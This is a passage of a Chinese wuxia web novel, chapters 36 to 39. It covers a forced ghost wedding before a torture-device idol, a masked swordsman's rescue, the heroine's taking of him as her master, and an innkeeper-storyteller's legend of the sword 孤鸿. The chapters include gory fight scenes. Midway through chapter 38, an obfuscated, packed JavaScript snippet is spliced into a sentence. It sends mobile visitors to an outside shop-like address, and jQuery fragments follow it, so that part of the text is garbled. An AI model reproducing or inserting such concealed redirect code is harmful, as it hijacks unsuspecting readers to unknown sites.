耳边“喀喀”爆鸣,原湘湘只觉手间有温热流过,下一瞬,肩头一惊,毛骨悚然瞬间袭遍全身!两只干枯的长手便裹住她的上身,肩膀头脸顿时传来阵阵剧痛。 那老人头被原湘湘一刀捅进眼中,雁栖有挥剑断玉之能,老人头自然也瞬间碎裂,股股腥臭的脓血沿着老人头的头骨爆开,而它在最后一刻,也不忘贪求原湘湘身上的人血,十根刀刃一般的利爪尽数没入原湘湘的肩臂之中。 红衣瞬间染血暗重。 “嘁!”她紧咬牙关,强忍剧痛,提气运劲,雁栖刀刃一转,刀刃与头骨相撞声音在楼中不禁回响,老人头尽数爆裂! 腥臭的脓血顿时四溅,老人头发出一声诡异的悲鸣,原湘湘趁热打铁注入更多内力,雁栖化作惊鸿,霎时间犹如群雁展翅,无数刀光爆出,将那老人头砍得稀碎。 “……血……”最后半颗脑袋陡然从半空中滑落,最后滚落在地,再无动静。 脓血白浆喷了一地。 原湘湘一声跪倒在地,剧烈地喘息着,硕大的眼瞳似乎空空无也,只是茫然睁大着眼睛。 凌乱的发丝紧贴脸侧,汗水混着血水从她的额上低落,她望着那小小血泊中的断肢残骸,心头仿佛有一座大山压着,压得她喘不过气来。 这都是我做的? 全都是我杀的? 哈啊,哈啊……哈哈哈。 一滴血泪沿着她的眼角流经高而直的鼻梁,从小巧的鼻头坠落,融于血泊之中。 那血泊之中倒映着她支离破碎的影子。 然而,未等她调匀呼吸,她就在血泊中看到一物慢慢走来。 “啊呀呀……这可该如何是好?大喜之夜新娘子居然跑到了死人堆里……”头顶飘来一道柔和朗润的男子话音。 湘湘赫然抬头。 “你说对吗,果儿?” 苍白的男人微笑着俯身,原湘湘甫一抬头,便被他点了两处大穴,动弹不得。 糟了!此人快到出手我都看不清!她惊惧不已,不由得冷汗如浆。 寒风裹挟着血气在尸林中翻涌,回廊间仿佛树影连绵,招摇不断, 阴影中慢慢走出一个身材高大却形容枯槁的男人——李果儿。 他脸色刷白,双目无神,慢慢走向原湘湘,将她打横抱了起来。 “去吧。”苍白的俊俏男人微微笑道,“收拾那个人我得费点功夫,你先回去举行仪式。” 李果儿木讷点头,便抱着如同雕像一般的原湘湘转身离去。 “有生必有死,有死必有生,万物生长枯荣,春去秋来,皆是如此。”男子踢开挡在脚边的雁栖,黑色的靴子表面登时破了皮肉,他面上一惊,叹道,“呀~真是个好东西~” “若想有人活,须得他人死,这世上哪有那么好的不老不死呐~”他轻轻弯下腰,眼中含笑,捡起雁栖细细把玩,笑道:“你说对不对呢?鬼观音?” 风吹林动,枝摇影乱。 如血夜色中,回廊的暗处缓缓踏出一个白色影子,那人长身玉立,遮面的白纱在风中簌簌飘动,一柄长剑宛若秋水惊鸿,盘旋身侧。 那人似是已在此处潜藏许久,万千青丝随风散在血色之中,凛冽清冷,恍若鬼神。 风声呜咽,如泣如诉,红光摇曳,似血浪翻涌。 36.土楼喜宴鬼影笑朱砂 偌大的土楼宛若坚不可摧的城墙密不透风,森然凛冽,楼中四处铺满红绸挂满红灯,映得夜空也如染血一般。 细雨迷蒙,石板沥沥。 青石砖道两旁摆满了各式各样栩栩如生的纸扎人。 敲锣的,打鼓的,抬轿的,唱戏的,上礼的,吃酒的……应有尽有,那些个纸扎人个个腮红唇朱,眉目如生,但唯独两眼未点,空空两个眼窝,不得视物。 周遭响着撕心裂肺的唢呐,一眼望过去满目的红,方才那些来宾客人皆喜笑起来,迎风招展。 ——还差一顶花轿,一个轿中人。 李果儿抱着原湘湘走在这条欢乐喜庆,热闹纷纷的长砖路上,他本就生得极为高大,虽然为了举行仪式早已形销骨立,累身伤痕,但要抱走一个不得动弹的少女还是轻而易举。 他缠在额间的绷带从喜帽中露出带血的一角,双臂却依旧如同铁箍一般坚硬有力。 怀中的少女顶着鸳鸯戏水的红盖头,宛若一个毫无生机的石刻木雕,盖头下的一双眸子,目眦欲裂。 不多时就来到了祖堂。 祖堂前牌位的正中央,立着一个丈余高的倒悬神像。 堂前烟雾缭绕,两侧立着几许与纸扎人一般的傧相,他们皆是身着红底白衣,双目被一条白布紧紧缚住。 那蒙眼持瓶的女子被三寸铁钉贯穿脚掌,腹中被楔入长约十寸的铁钉刺穿,锁链缠于腰间,倒悬于上,双目紧缚,手中净瓶斜斜向下,正好对着供桌上的一个白瓷大碗。 倒悬受钉,蒙眼不视,受苦受难,不言不怨,血流遍地,福泽众生。 “受苦受难,有求必应,”李果儿将原湘湘放在身侧,自己一人先行跪下,“大慈大悲,圣元娘娘。” “咚”的一声砸下头去,一遍又一遍的磕头,不多时,李果儿的额间鲜血已顺着眉眼沟壑汩汩流下。 原湘湘看不见外面,她的眼前只有彻目的鲜红,听着那如同诵经般虔诚的声音,她眼眶几欲断裂,汗水也不住地往下流:“他要干什么!” 倒悬圣像下摆着两把雕花檀木椅子。 一把椅子空着的,另一把椅子上坐着一个锦衣刺绣的老妇人,双手交叠身前,盘头戴花煞是喜庆。 可那老妇人双目混浊,皮肉溃烂,白骨森然,喉中发出滋滋响声;交叠在身前的双手被铁链锁住,十指早已变形生出锋利的指甲。 刺耳的乐声仿佛一双双血淋淋的鬼爪,在把她推拉搡扯着往崩溃的边缘,耳旁飘荡着的纸扎人的轻笑! “一拜天地——”一个行刑官扯着尖尖细细的嗓子叫道。 新娘子僵立不动。 两个纸人似的傧相从左右扑出,四只青白手掌压上肩头。 原湘湘忽觉后颈剧痛,整个人已经被强行扭转过去,硬生生将她的头按了下去! 嘁!盖头下她的嘴角已迸出血线。 “二拜高堂——”行刑官又拉长了嗓子扯道。 那左右两个蒙眼傧相又将她强行调转方向,原湘湘牙关紧锁,都快要咬碎了那一口白牙,唇角流下鲜红的血迹已经蔓延进衣领里。 “咚!”的一声,新娘子的脑袋砸向地上石板的声音。 她的脑袋里好像什么都要涌出来:红色的血,绿色的树,白色的人,尖锐的叫喊声,刺耳的刀剑相接之音……全部都交织在一起,头昏脑胀,让她盘旋纠结在无止境的幻影中。 “夫妻对拜——”又是一声尖锐刺耳的叫声。 这一下,旁边的几个傧相全都上来抓住她,准备按住她的上身,强行让她跪下磕头。 李果儿已经磕了个头,额间依旧血流不止。 他看着始终不屈服的原湘湘,眼中怒火森然:只待礼成……便可取血。 恰在此时,一声冷喝破空而至:“慢着——” 众人闻声回眸,只见一白衣人身负细雨乘风而来,白纱幕篱将来人的脸遮得严严实实,白衣被风吹得飒飒作响,飘在空中染上片片血花。 “你是何人?”几个行刑人顿时抽刀而出。 血花散尽,一颗溃败流脓的头颅“骨碌碌”球似的,一直滚到行刑人脚边。 满堂纸人闻声齐齐扭头,空洞双眼如灯如炬,腮上朱砂红得似血滴滴落下。 盖头下的原湘湘听见声音,竟不住微颤,唇角缓缓扯出半抹笑痕。 三拜停了下来。 那几个行刑人本来杀意已出,但见那颗人头滚到脚边,便登时慌了神,一群人便慢慢退了下去。 “阁下何人?莫不是也来讨杯喜酒?”李果儿浑身抽搐着,齿间咯咯作响。 他见那几个行刑人如此这般,更是气愤难忍。 那颗烂头他怎会不知?头上还残留着苍白的皮肤和一只带笑的眉眼,不是守堂人又是谁?如今守堂人已死,那剩下的仪式又该如何进行呢?娘亲怎么办呢? 他做了多久的准备,付出了多大的牺牲才准备好一切,如今,眼见就要完成仪式,救得娘亲一命,却横生枝节,打乱仪式,他愤怒至极。 “我只和新娘子喝喜酒。”来人沉声道。 嘻。 不知哪里窃笑一声,那声音细若微雨,转瞬即逝,迎风化在了血雨中。 李果儿因为仪式被打断,脸上怒意更盛,额上鲜血淌得更急,啪嗒啪嗒,在他胸前的大红喜袍上洇出一片暗红。 “阁下今夜前来,便是专为坏了我的好事?”他厉声质问眼前之人。 “你可知你口中的‘圣元娘娘’本相!”鬼观音怒斥一声,随即孤鸿长啸,剑光如电掠过,径直劈向那祖堂之上的倒悬圣女像。 只听“咔嚓咔嚓”阵阵裂响,那足足丈余的圣女像从上方掉落下来,一断为二,轰然坠地,砸得堂中顿时尘灰四起,一片狼藉。 倒悬之像一分为二,露出中空的内部和遍布其中的铁刺钢针。 冷光熠熠,令人心悸。 哪里来的什么倒悬圣像,不过是一具惨绝人寰的刑具! “所谓赐福求药,不过是将献祭之人放入其中,待圣像合拢,献祭之人便会被钢针铁刺刺穿。”鬼观音又是一剑,将那倒悬圣像劈得粉碎,“而你口中所谓的‘灵药’, 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李果儿茫然抬头看着挡在自己身前的黑影,瞳孔猛然骤缩,下一刻,他便如同疯子一般扑上前去,将那黑影紧紧搂在怀中。 那黑影,正是他那满身溃烂露骨,只能饮血苟活的,早已失了人形的母亲。 “娘——!”他紧紧搂住怀中的人,一声凄厉嚎啕,盖过了满堂纸人的呜咽作响。 鬼观音见此情景,不知为何,持剑的手微微颤抖着。 白纱下的脸庞怔怔对着那一对相依的母子,李果儿的哭声回荡在祖堂之中,遮面的白纱轻轻飘动着,竟向后悄悄退出两步。 嚓。 孤鸿出肉,剑尖之上凝着一滴红血。 “守堂人已被我斩杀……你们好自为之吧。” 言罢,拂袖转身,一瞬来到原湘湘身边,长指轻点,穴道立解。 红衣白纱交叠,一只修长的手游移不定着缓缓伸出,终是递到了原湘湘面前。 随即一只更为细瘦的小手刚刚伸出,便被那只大手紧紧握住。 鬼观音牵着一袭红衣头顶盖头的原湘湘出门而去。 夜冷风寒,呼啸而过,城中红灯摇晃不止。 天上血雨朦胧,地上人影两只。 大手牵小手,就这样不疾不徐地走了一路,直到走出高大巍峨的土城之外。 盖头下的原湘湘其实看得见路,她也能活动自如,可还是鬼使神差地顶着红盖头被人牵了一路。 眼前那人迈着轻轻地步伐,晃动的衣摆也犹如在流水中颠沛流离的落花,最终聚在一起,团成水的倒影。 那人终于是停下来了。 原湘湘却忽然紧张了起来:这就到头了? 她生怕那只温温凉凉的手掌离自己而去,心中不住地祈祷着,以至于手心中都沁出了冷汗。 可那手的主人似乎也是读懂了她的心意,不肯离去。 原湘湘能清晰地感觉到自己的腕间忽然变得滚烫。 那原本温凉的手指,正在褪去冷意,逐渐发热。 37.无花无月师徒暂相逢 眼前是? 他站在那里一动不动。 手中是? 他能感觉到自己冰凉的指尖在逐渐发烫。 斜风细雨,夜色朦胧。 倒插在地的长剑孤鸿,剑刃清明,映出一高一矮,一白一红两个牵手而行的影子。 她不动,他也不敢动。 他站在那里独自沉吟许久,最终还是伸出了两手,缓缓揭开了那盖头。 一瓣落红下,眼前朱花开。 满身红衣如榴花燃火,额间一点朱砂,两腮似雪,目若点漆,唇畔一点笑意似有若无。但恨此时无月,雨朦胧,影朦胧,愿作千风。 他揭了盖头后,半晌才缓缓出声:“你怎么不说话?” 原湘湘缓缓迈着步子,走近他的跟前,道:“姐姐也没说话,我不知道说些什么。” 他藏在面纱的脸看向她,原湘湘的嘴角噙着一丝似有若无的笑意。 “你好像很开心?”不知为何,越是看见鬼观音身边的原湘湘开心,他就是越不开心。 “我就知道你不会对我失约的。”原湘湘旋身一笑,是难得一见的少女明媚容姿。 原湘湘来到他的面前,风下雨丝连绵,她的额间脸侧也贴着发丝,她道:“师父,手给我。” 原湘湘将自己的手递了过去。 “你要做什么?”他的声音忽然闷闷的,他慢慢撇过脸去,不去看她。 这一声突如其来的“师父”可给他震得立在原地呆住,但又只好强装镇定。 不是生气也不是不开心,是不知该如何是好,以至于心慌了神乱了,一时之间无法遮掩,就连周身也无法控制。 良久,于是他也缓缓递出一只手。 “另一只。”少女道。 好,就换另一只手。 “更近一点。” 那就再近一点。 他将手伸出的那一刹那,只觉一阵轻轻痒痒的酥麻,如同一道道轻柔的水浪,温暖着从指尖逐渐传递到全身,比起舒适愉悦,他反而开始害怕。 原湘湘握着他的右手,反复摩梭着他的掌心、指尖,像是把玩什么稀世珍宝。 看见她那一脸痴相,他又不争气地扭过了脸去,明明根本没人看见他的脸来着。 就在他思绪离乱之际,忽然一道钝痛从掌心迸开,他一回头就见原湘湘抱着自己的手大口咬了上去。 他忙道:“你……” 嘴上说着,心里惊着,身子也没见挪开一分半点。 比起疼痛和不解,他只是好奇为甚么要突然咬上一口?难道你也相信观音血能让人不老不死吗? “疼吗?”她咕哝着问。 “有点。” 原湘湘忽而抬头笑道:“成了,这是湘湘的拜师礼。” 言罢,她就撕了自己干净的衣摆,将那伤口裹了。 “这一次出门着急,没有带伤药,下次再给师父换上。”原湘湘一边帮他包扎一边慢慢道来,“你好像不喜欢我叫你‘姐姐’,那以后就不喊了。” 原湘湘皱眉一瞬,心思又回到了那一夜。她永远都忘不掉在阆天塔中,她那一声“姐姐”喊出后又被拒绝后的心痛难受。 其实不是那个意思。他暗自道。 风停雨驻,云散月开。 一红一白的二人蹲在道路两旁,原湘湘正给鬼观音包扎伤口,鬼观音俯身看着。 她继续道:“你说我既然有了师父怎么又拜师父,是为‘不忠不孝’。那既然有罪,拜师的有罪,收徒的也有罪,徒儿有罪,师父也在劫难逃,这就是师父收徒的代价。” 言罢,她打好最后一个结,抬起脸来,又是一个笑来。 “那……那既然如此,一切就……就都随你好了。”他藏在面纱下的脸红到了脖子根,一向伶牙俐齿的他,舌头也不知为何硬得像是在开水里烫过一样。 此时,他第一次无比庆幸鬼观音从不露出真容,还好一直有白纱挡着脸,否则这一切要是被看了去,那该怎么立足江湖啊…… “那行,徒儿先行拜别师父。”原湘湘起身朝他拱手一礼,道,“那里还有个徒儿一个朋友,既然守堂人已经被师父杀了,我现在得去寻那个朋友。” 说罢,原湘湘脚步轻点,纵身几个起落便没了身影。 “……” 少女完全不给他说话的机会。 什么朋友? 怎么还要对我躬身一礼? 我们这么生疏吗? 什么什么什么嘛! 他的脑子突然一团乱麻,忽然想起少女说要去土城里救一个朋友。 什么朋友? 那除了柳折舟还能有谁! 他忽然原地暴起,长袖乱风,剑光闪过,疾行而去。 原湘湘一路狂奔而来,再次来到祖堂时,她莫名害怕得心惊肉跳。 你在怕什么? 原湘湘你在这里找什么? 为什么这么着急? 祖堂里还跪着李果儿,他愣愣不动,怀中抱着早已失去温度的母亲的尸体。 祖堂两列的纸扎人似乎也随着圣元娘娘的消失而彻底失去了生机,两列纸人破损不堪,祖堂之内一片狼藉。 “你又回来了。”李果儿抬头看他。 原湘湘没有说话,她只是不断地检查着附近,此处没有,说不定就在别处。 李果儿见她来回巡视,便猜到她是在找人。 “跟你一起来的那个人刚刚也才来过,他去前面找你了。” 原湘湘一愣:“柳折舟刚刚来过?” “对你做过的事,我很抱歉。”他颤声着,眼泪如流。 原湘湘没再说话,她在地上搜寻半天,没见到雁栖的踪影,便直接夺门而出。 一路紧赶慢赶,终于土楼第三层时,耳边传来一阵嘈杂喧闹之声。 她顿时停下脚步细听。 那人声音实在是太过熟悉了,以至于在听到那人说话时,她都会控制不住的地心间一空,而后心如擂鼓。 “你们把湘湘姑娘怎么样了!快说!”柳折舟执起雁栖,猛然朝着眼前一划,顿时寒光一闪,将那几个脸上贴着纸扎人面具的行刑官吓得直往后退。 “快说!你们把湘湘姑娘怎么样了!为何我只在地上捡到她的佩刀!” 眼前那几人见这个白衣公子仿佛疯了一般朝他们砍来,他们看见那纷乱的刀光,都连忙后退,唯恐被那短刀近身。 他们亲眼目睹的,此刀能挥剑断玉,削铁如泥。如若被碰上一下,轻则断肢残疾,重则直接殒命。 “兔子急了还咬人呢!你们今天不交代清楚一个都别想走!”柳折舟一声大喝,显然怒极,他大口大口喘着气,明显体力不支 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只是他忽然弱了气势,柔柔的声音就像流水一般淌过:“那……你说了我才知道啊,那个人已经帮你们报了大仇不是好事一桩嘛……” “什么好事?我看你小子就是欠打!”那手持棍棒的男人说着就扑了过来,棍棒无眼,被那愤怒的男人挥舞的赫赫生风。 柳折舟连连后退。 旁边几人一见柳折舟虽然拿着利器,但却丝毫不中用,也抄起断木个个朝着柳折舟而来。 柳折舟慌忙架起雁栖横在胸前,两眼一闭,正欲当个缩头乌龟时,但听身后传来一道极为熟悉的声音:“我在这里。” 原湘湘终是站不住了。 她一身红衣,脸上冷冷从满城红光中飘出时,脸色惨白,发丝凌乱,描红点唇,大睁着的双眼锐利如刀,直直看向那几个人。 “我在这里。”她再一次重复道。 恰在此时,一阵寒风涌起,满城红光摇晃,无数阴影徘徊,更衬得她宛若怨气冲天的女鬼。 “哇呀呀呀!快跑!”领头那个甩掉木棍大叫,“她也被杀了!” “快逃快逃!” 那几人作鸟兽状很快散去。 原湘湘看着那几人离开,还未来得及回神,便觉脖间一紧,那股好闻的香气直冲脑海而来。 “太好了太好了!湘湘姑娘你来了!”柳折舟一把圈住她的脖子,挂在她的肩膀上,“我就知道你会回来找我的!” 她登时全身如触电般,直愣愣生在原地,两只眼珠子慢慢移向了柳折舟,才缓缓开口:“你怎么不逃?” 柳折舟一听她声音不太对劲儿,刚对上她的视线时,立时心口一惊,血气上涌。 原湘湘立马道:“憋着。” 柳折舟抿着嘴,缓缓移开自己挂在原湘湘肩上的胳膊手,自行退了下来,一个人转身找个角落吐了出来。 原湘湘闭目长叹:我就知他会这般。 待柳折舟吐完血后,原湘湘方才问他:“你怎知我不是鬼?” 柳折舟这才悠悠走来,嘴角还挂着丝丝血迹,他笑道:“莫说湘湘姑娘成了鬼,就算下地狱,我也会跟着你一起去的。” 原湘湘默默看他,柳折舟只是笑。 然后果断转身,心道:净会乱说。 夜寒,风凉,脸热,心烫。 38.酒楼徐行莫言问剑生 最初相遇时,原湘湘觉得柳折舟是有很大问题的。 白衣胜雪气质出尘的柳折舟,乍看之下便是位生活优渥的富家公子,细细处来,也确是位金贵得要命的。 出门在外,衣着净,食味美;行须有车,住又择床;咯血时要喝药补身,气喘时须抚背顺气……先前刚遇见的那几日,原湘湘经常自己一个人气得偷偷跺脚。 她问:“你一个人是怎么过来的?” 那人将手中纸扇摇得呼啦作响,不以为意道:“有人没人,自然两种过法啦。” 原湘湘:“……” 她感觉自己的脚底有些瘙痒难耐。 现在时日一长,竟然也默默习以为常。 因此,现在她觉得自己的问题更大。 日晴山暖,草树发花,深水满溪,车行悠悠。 此处是天水城外约莫三十里的园山镇,一条甚是宽阔的石板路从远处蜿蜒,恰似长蛇破水一般从满地草花烟水处而来。 一辆装饰颇为典雅精致的马车不紧不慢从远处行来,驾车的是个妙龄少女,那少女周身红如繁花,可面上却似那坚冰初融的春水,仍旧泛着凉意。 少女身侧倚靠着一个身形瘦长的白衣男子,那人肤光欺雪,发如轻烟,垂眸闭目,一派安然,似是已然睡去。 但细细看时,唇边还挂着几许斑驳血迹。 那少女驾着马车正行着,不料,左边车轱辘正好轧在一颗的石子上,马车猝不及防地上下颠了一下。 那男子立时惊醒,捂着胸口伸出头去,“哇”的一下,吐出好大一滩黑血。 原湘湘手间收劲,停住了马车。 她看着柳折舟半晌没说话。 别说硌着石头被崩了一下就吐成这样,前几日,哪怕马车跑得稍微快些,他也连连惊呼“太快了太快了”,而后又是一口血喷出来。 柳折舟吐完后,一时半会儿似乎还没清明过来,扶着横木喘息了好一会,才慢慢道:“我就说他们一定给我喝了什么东西,这连日来,我一直没缓过来。” 原湘湘知他说的就是在李宅中被灌下的葫芦药。 她道:“嗯,等此间事了,我再带你去见我师父。” 原湘湘不假思索,她还没忘记在奉国寺时答应过柳折舟的事。 柳折舟听着她那话,脸上一时之间颜色变幻,眼中惊慌不已,他故意清清嗓子,擦干血迹,朗声道:“小事小事!这点小毛病,何足挂齿。” 说罢,接过原湘湘手中的马鞭,对着她又是盈盈一笑。 原湘湘:“……” 二人还没行出半里路,柳折舟又开始猛烈咳嗽。 原湘湘起身站在横木上,望着不远处道:“我们就去前面的镇子里找个大夫。” 柳折舟听她那话音,面上不禁露出喜色 ,忙问:“湘湘姑娘,我们是要在这里待上一段时日嘛?” 原湘湘看他又笑,便沉沉点头:“起码要等你伤好。” “嗯嗯。”柳折舟连连点头。 桃花送春风,人面相映红。 原湘湘瞅见他那笑脸,不禁皱起眉头:怎么?不是你说的要去救人吗?如今这个反应是又后悔了? 马车沿着青石板路缓缓前行,周遭民居市集、酒肆茶馆等建筑渐渐从一片青云春花中显露出来。 进了园山镇里,原湘湘提议说先去找医馆,然后再寻个离医馆近些的客栈下脚。 柳折舟连连点头称赞:“一切但听湘湘姑娘的。” 在镇上逛了半天才寻到一个医馆,那老大夫把着柳折舟的脉只顾连连摇头,眉间的阴云半天也不曾散去。 又看看面容发白,不似活人颜色的柳折舟,摇头道:“我看这位公子乃是寒邪入体,深至经脉,普通汤药估计疗效甚微……最好用上好的烈性酒作药引。先饮下药酒,再用烈酒擦拭周身,活血通络。”老大夫如是说着,“至于陈年老酒嘛,这附近就有一家‘悦来酒楼’,他们家的招牌‘醉春烟’可以药用。” 原湘湘从旁听着,点头如捣蒜。 她其实还想问问柳折舟身体上总会生出雪屑一般的东西,可考虑到他人还在场,话到嘴边又噎了下去。 如果真是泡发了没搓出来的灰,湘湘也是挺丢分的。 柳折舟正在一旁的中药柜子旁流连,看那指指点点的架势,俨然神医在世。 老大夫趁着童子抓药时,又悄悄凑到原湘湘身边,低声试探道:“不知姑娘与那公子是何关系啊?” 原湘湘不解其意,歪了歪脑袋,木木的眼睛里一片空白。 老大夫这一问,也给原湘湘问倒了。她自己也不知道是什么关系,第一反应没答出来,头脑一片空白。 总之,不是很坏的关系。 老大夫一见这姑娘一脸痴痴呆呆的,反应迟钝似乎听不懂人话,便叹着气回到中药柜子旁了。他嘱咐童子抓好药,然后递给柳折舟,便离开了。 二人拿了药离开后,柳折舟手撑着下巴打瞌睡。 原湘湘在一旁的车前横木上,静静着盘腿,不言不语。 此时恰逢春日晌午,日光甚好,马车一侧毗邻着一塘池水,水中落花,疏柳拂光,影影绰绰,映得柳折舟满面斑驳,胜似芙蓉卧晓枝。 她怔怔看了半晌,看着在他脸上流连的斑驳树影,鬼使神差地倾身过去,伸出一指,沿着柳折舟的鼻梁轻轻刮了一道。 细细的手指沿着起伏,蜻蜓点水般的绘出了一幅写意水墨画,画中枝影横斜,暗香空流,拂堤杨柳醉春烟。 她的心中不免生出几许遗憾。 —— “前方有客栈。”柳折舟眼尖嘴快,“眼下便是天塌下来,我也要先睡一觉。” 说着说着他整个人就如同抽了骨头一般,摇摇晃晃着“嘟噜”一下,软软地摊在了马车上。 原湘湘横了他一眼,一时之间无语凝噎。 二人随店小二将马车在后院安置妥当后,方才从“悦来酒楼”正门步入。 客栈中客人不多,不过,这小镇居民本就不多,倒也显得清静。他们两个刚领了门牌,踏出两步,就听身后“啪”的一声惊响。 只见一个说书人将手中惊堂木那么往桌上狠狠拍下,那长须老者面容清瘦,眼光却亮得骇人. 老者长声啸道:“上回书说到,前朝灵生帝飞升化鸟,自此王朝覆灭;今天便讲一位在天下动荡中搅弄风云的奇人——天下第一铸剑师‘问剑生’秦穆!” “好好好,别再卖关子了。”有人催促着,一枚铜钱“叮当”落在说书老者面前。 “快说快说。”又有一人好心催促道。 那说书人拱手谢过,继续长声道:“正所谓,最是乱世出英雄,天下终局不复来——江湖皆知,那秦穆不仅武功卓绝,更善冶铁锻造之术。他与妻子“医圣”素衔隐居在天外之天,无人可知之地。 相传那一日,天外之地,流光坠落,火烧千里,焚而不绝。秦穆虽意外得天外陨铁,但其妻素衔也身死其中。自此,他便血洒铁石,凝泪淬剑,铸剑两柄,流传后世,以寄情思。 ” 原湘湘本来举步就要离开,但听到此处时,身形却倏忽自行定住。 她和柳折舟正好行至楼梯中段,不由得双双停下,遥望着一楼大厅里的说书人。 “湘湘姑娘——”柳折舟见她停住脚步,刚要开口,就见原湘湘竖起一根手指,轻轻抵在唇前,朝他无声地比划了一个“闭嘴”的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806784|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原湘湘竖起一指挡在唇前,下巴微收,唇瓣轻抿,那双本来似刀般的大杏仁眼此刻灵动异常,专注看着楼下。 柳折舟望着那意外略带娇嗔的面容,到了嘴边的话也顿时忘得一干二净,耳根莫名一热,自己也下意识地屏住呼吸,抿起嘴巴,一同顺着原湘湘的目光望过去。 “那前朝的问剑生,一生短暂成谜,据说此生铸剑只有两柄。”说书老者音调陡然拔高,“一柄开天破光,横扫六合,传说剑成之时,天际白光四射,霞色漫天,百鸟朝贺,实乃富国强民祥瑞之兆!此剑非凡人能得,乃开疆定国之剑,前朝皇帝赐名‘鸿鹄引’,现为新朝新帝佩剑,横扫六合,定鼎天下!” 说书老者忽然垂目半晌,语调也变得极为悲沉:“这第二柄剑,名为‘孤鸿’。只因问剑生在天灾中失去爱妻素衔,便将心中的遗恨与万千情思化作血泪,尽数化入此剑之中,熔铸成剑。孤鸿低吟,凄婉哀诉,愁情不止,剑斩天下。故而此剑虽然削铁如泥极尽锋利,但却天生不详,剑意阴邪,能让持剑者心绪大乱,走火入魔直至身死覆灭!” 老人言至此处却忽然停住,他慢悠悠饮了一口茶,放下茶碗继续道:“说起此剑,最是诡异。孤鸿历经两主,皆无善类。‘地上仙’霍洋,孤鸿的第一任剑主,虽为阉人,来历不明,独臂持剑入世,短短两月内打得天下群雄束手!至此,剑与人皆扬名天下,流言四起。然而……他最终被孤鸿剑中所含恨意吞噬,走火入魔以至神智大乱,掳掠天下少年美女,供其享乐蹂躏,最终被那鬼观音一剑毙命!” 听到“鬼观音”三个字时,柳折舟刚好回头,就和原湘湘撞了个四目相对。 二人不约而同地撤回目光,继续听那老者道来。 “魔头鬼观音,便是这孤鸿的第二任剑主。鬼观音鬼观音,面若观音,心如恶鬼。曾是霍洋亲传弟子,后又剑斩阉人霍洋,连下战书十六帖,一人一剑一夜屠尽一十六门上上下下两百余口,连斩玄天二鬼,又剑挑孤城头颅,早已是恶鬼修罗的模样。据说,那场屠杀里,唯有两个孩童不知何故侥幸存活……” 三年前,鬼观音不知何故,自此隐匿于江湖。这件事原湘湘自然也是知道的。 老者长须微颤,厉声喝道:“隐匿之前,她竟将孤鸿剑托付于奉国寺保管,并向天下放言道:‘昔年能智取孤鸿,来日也必当手到擒来。天下第一必定是我,江湖中若有不服者,大可三年后,会之于天台,以武论高低,论力取名剑,死生自负!’ 她何故竟得奉国寺主持应允,立下这三年之约?今年,正是第三年!不管新仇旧恨皆来起,接续三年未尽缘,大败恶鬼,天台夺剑,天下唯尊!” 原湘湘与柳折舟二人各怀心思,默默别开脸去,不再听那说书人言语,径直上楼去了。 看来,试剑大会被毁、阆天塔遭焚、鬼观音已然夺剑的消息,尚未传至此地。原湘湘在心中思忖着。 “不对不对!”一声清亮朗润的男声高高扬起,引得众人纷纷回头,“谁知道这些故事里几分真几分假?且不说前朝旧事,老儿,试剑大会早已被毁,鬼观音也携剑跳入红莲火海,奉国寺方丈身死,寺中诸多僧众化为活尸之事你就不知。” 那男子话音一出,整个酒楼顿时寂静。 原湘湘警觉,她站在楼上往下,只见一个身量高挑的黑衣男子慢慢从角落中走出,那男子一身黑色劲裳,长发高高竖起,荡在脑后,一颦一笑之间,眼尾就炸开一团花来。 “老人家,您的剧本可以改改啦~”来人俯身递给说书老者一块铜板后,便扬长而去,“家中人太多,还请您老人家多多担待担待。” “哦对了,现在只有开疆,还未彻底定国。”他补充道。 39.清风夜含羞芙蓉三变 不大不小的客房,室内干净整洁,所需物什一应俱全。原湘湘放下行李,独自一人坐在床边。 她看着手中的短刀,若有所思。 她还记得临行前的那一晚,铁匠师父照例先去村东头打酒,再去村西头买肉。 好酒好肉,恍若昨日。 待他归来时,天色早已黑透。 兰姨接过他买的酒肉,就去后面厨房忙活。原湘湘本来想去厨房帮忙,可不料前脚刚抬起来,后脚就被那个胡子拉碴的男人叫住了。 他道:“湘湘,我捡你多少年了?” “十年。”原湘湘不假思索。 这件事,她也永生不会忘记。 如果说,鬼观音将她从尸山血海里捞了出来;那眼前这个男人,便是把她从路边野坟里扒了出来。 “还记得师父当年的样子吗?” “记得。” “那还记得当年你自己的样子吗?” 原湘湘蓦然住了口。 她转身拖了一把椅子,静静坐在男人身旁:“也记得,两个快死的乞丐,一个老乞丐和一个小乞丐。” 男人听她那样说话,不气反笑:“哈哈哈哈!!是也是也!” 原湘湘看着他高大粗犷的身体,猫儿似的蜷在一把小竹椅上,心中一时之间也涌出诸多不舍。她静静看着男人不说话,眼底慢慢泛出一股酸涩。 “师父怎么救的你?” “因为卷毛。” 也正是因这一头少见的天然卷毛和俩人的大眼睛,不少人初见时,便把师徒二人当作真父女。 每逢有人见到师徒俩一同出门,总有人要夸一句:“秦师傅这是你家女儿啊,长得还真是随你呀,眼睛又大又亮!” 不过,这个时候原湘湘都会把自己小小的身子紧紧藏在铁匠师父的身后,然后闭着眼睛不说话,也不给人看。 这时,男人总会轻轻勾勾手指,顺着衣摆摸过去,然后将身后那湿湿凉凉的小手握在手里。 此刻正男人歪在小竹椅上,吱吱呀呀的,胸脯横阔起伏,两弯粗眉黑如刷漆,面上带着笑意。 “还是你非要缠着我来着。”男人伸展着壮硕的肢体,闭目仰躺在椅子上,悠悠说道,“不要忘了师父呀~晚上要不要陪师父喝两杯?” “不要。”她斩钉截铁。 “啊,湘湘你又拒绝老人,酒可是个好东西,能让人见到一切想要的东西。”男人抚心叹气,“我真是造了什么孽啊,又养了个小没良心的,搁这儿天天气我。” “不要。”她再一次严词拒绝。 那天晚上,湘湘最终也是一滴酒未沾。 因为她觉得男人喝的酒太辣太呛,一点也不好喝。 可既然如此,为何那个男人还特别爱喝酒? 